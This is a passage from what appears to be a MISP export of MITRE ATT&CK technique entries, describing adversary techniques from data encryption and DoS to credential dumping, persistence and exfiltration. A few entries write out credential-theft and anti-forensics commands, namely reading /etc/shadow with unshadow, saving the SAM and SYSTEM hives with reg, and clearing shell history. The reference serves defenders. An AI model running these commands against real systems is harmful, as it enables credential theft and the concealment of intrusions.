Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [SMB/Windows Admin Shares](<https://attack.mitre.org/techniques/T1021/002>).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

## Exploit via Radio Interfaces - T1477

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.

# Baseband Vulnerability Exploitation

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

## Malicious SMS Message

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

## Network Denial of Service - T1498

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address

to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](<https://attack.mitre.org/techniques/T1499>).

## Endpoint Denial of Service - T1499

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or

eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see [Network Denial of Service](<https://attack.mitre.org/techniques/T1498>).

## Credentials from Password Stores - T1555

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"*

Table 3159. Table References

Links
<a href="https://attack.mitre.org/techniques/T1555">https://attack.mitre.org/techniques/T1555</a>

## Exfiltration Over Web Service - T1567

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"*

Table 3160. Table References

Links
<a href="https://attack.mitre.org/techniques/T1567">https://attack.mitre.org/techniques/T1567</a>

## Search Open Technical Databases - T1596

Before compromising a victim, adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [External

Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Open Technical Databases - T1596"*

## SNMP (MIB Dump) - T1602.001

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in

order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

## Logon Script (Windows) - T1037.001

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the `HKCU\Environment\UserInitMprLogonScript` Registry key.(Citation: Hexacorn Logon Scripts)

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

## Logon Script (Mac) - T1037.002

Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](<https://attack.mitre.org/techniques/T1037/005>), a login hook executes as the elevated root user.(Citation: creating login hook)

Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOS Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary.

## Dynamic-link Library Injection - T1055.001

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` (which calls the `LoadLibrary` API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of `LoadLibrary`). (Citation: Endgame HuntingNMemory June 2017) (Citation: Endgame

Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

## Exploit Public-Facing Application - T1190

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](<https://attack.mitre.org/techniques/T1211>).

If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)

## Non-Application Layer Protocol - T1095

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

## Two-Factor Authentication Interception - T1111

Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)

## Search Victim-Owned Websites - T1594

Before compromising a victim, adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](<https://attack.mitre.org/techniques/T1589/002>)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>) or [Phishing](<https://attack.mitre.org/techniques/T1566>)).

## **.bash\_profile and .bashrc - T1546.004**

Adversaries may establish persistence by executing malicious content triggered by a user's shell. `~/bash_profile` and `~/bashrc` are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.

`~/bash_profile` is executed for login shells and `~/bashrc` is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the `~/bash_profile` script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the `~/bashrc` script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.

The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling `~/bash_profile` each time instead of `~/bashrc`.

Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified `~/bash_profile` and/or `~/bashrc` scripts will be executed.(Citation: amnesia malware)

## **/etc/passwd and /etc/shadow - T1003.008**

Adversaries may attempt to dump the contents of `/etc/passwd` and `/etc/shadow` to enable offline password cracking. Most modern Linux operating systems use a combination of `/etc/passwd` and `/etc/shadow` to store user account information including password hashes in `/etc/shadow`. By default, `/etc/shadow` is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) `# /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db`

## SMB/Windows Admin Shares - T1021.002

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include **C\$**, **ADMIN\$**, and **IPC\$**. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>), [Service Execution](<https://attack.mitre.org/techniques/T1569/002>), and [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](<https://attack.mitre.org/techniques/T1550/002>) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

## Reduce Key Space - T1600.001

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](<https://attack.mitre.org/techniques/T1059/008>) introduced to the system through [Modify System Image](<https://attack.mitre.org/techniques/T1601>) to change the configuration of the device. ## Security Account Manager - T1003.002

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the `net user` command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- `pwdumpx.exe`
- [gsecdump](<https://attack.mitre.org/software/S0008>)
- [Mimikatz](<https://attack.mitre.org/software/S0002>)
- `secretsdump.py`

Alternatively, the SAM can be extracted from the Registry with Reg:

- `reg save HKLM\sam sam`
- `reg save HKLM\system system`

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation:

GitHub Creddump7)

Notes: \* RID 500 account is the local, built-in administrator. \* RID 501 is the guest account. \* User accounts start with a RID of 1,000+.

## Disable Crypto Hardware - T1600.002

Adversaries disable a network device's dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](<https://attack.mitre.org/techniques/T1601>), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](<https://attack.mitre.org/techniques/T1600/001>)). (Citation: Cisco Blog Legacy Device Attacks)

## Cached Domain Credentials - T1003.005

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](<https://attack.mitre.org/techniques/T1110/002>) to recover the plaintext password.(Citation: ired mscache)

With SYSTEM access, the tools/utilities such as [Mimikatz](<https://attack.mitre.org/software/S0002>), [Reg](<https://attack.mitre.org/software/S0075>), and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

## Clear Command History - T1070.003

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions.

Adversaries may delete their commands from these logs by manually clearing the history (`history -c`) or deleting the bash history file `rm ~/.bash_history`.

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the `PSReadLine` module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The `PSReadLine` command history tracks the commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command `Clear-History` to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the `ConsoleHost_history.txt` file. Adversaries may also delete the

`ConsoleHost_history.txt` file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

## Exfiltration Over Bluetooth - T1011.001

Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001"*

Table 3188. Table References

<a href="https://attack.mitre.org/techniques/T1011/001">https://attack.mitre.org/techniques/T1011/001</a>

## Dead Drop Resolver - T1102.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through

malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"*

## Remote Desktop Protocol - T1021.001

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>) technique for Persistence.(Citation: Alperovitch Malware)

## Patch System Image - T1601.001

Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.

In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](<https://attack.mitre.org/techniques/T1542/004>) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](<https://attack.mitre.org/techniques/T1600>), authentication, via [Network Device Authentication](<https://attack.mitre.org/techniques/T1556/004>), and perimeter defenses, via [Network Boundary Bridging](<https://attack.mitre.org/techniques/T1599>). Adding new capabilities for the adversary's purpose include [Keylogging](<https://attack.mitre.org/techniques/T1056/001>), [Multi-hop Proxy](<https://attack.mitre.org/techniques/T1090/003>), and [Port Knocking](<https://attack.mitre.org/techniques/T1205/001>).

Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](<https://attack.mitre.org/techniques/T1601/002>), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.

When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](<https://attack.mitre.org/techniques/T1542/005>).

When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](<https://attack.mitre.org/techniques/T1542/004>) to achieve persistence.

## Exfiltration over USB - T1052.001

Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001"*

*Table 3192. Table References*

Links
<a href="https://attack.mitre.org/techniques/T1052/001">https://attack.mitre.org/techniques/T1052/001</a>

## Downgrade System Image - T1601.002

Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)

On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.

Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](<https://attack.mitre.org/techniques/T1600>). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>).

## File Transfer Protocols - T1071.002

Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

## Invalid Code Signature - T1036.001

Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

Unlike [Code Signing](<https://attack.mitre.org/techniques/T1553/002>), this activity will not result in a valid signature.

The tag is: *misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001"*

## Local Data Staging - T1074.001

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](<https://attack.mitre.org/techniques/T1560>). Interactive command shells may be used, and common functionality within [cmd](<https://attack.mitre.org/software/S0106>) and bash may be used to copy data into a staging location.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"*

Table 3197. Table References

Links
<a href="https://attack.mitre.org/techniques/T1074/001">https://attack.mitre.org/techniques/T1074/001</a>

## Application Access Token - T1550.001

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is

allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001"*

## SQL Stored Procedures - T1505.001

Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).

Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp\_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp\_cmdshell 2017)

Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or

modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)

## Archive via Utility - T1560.001

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.

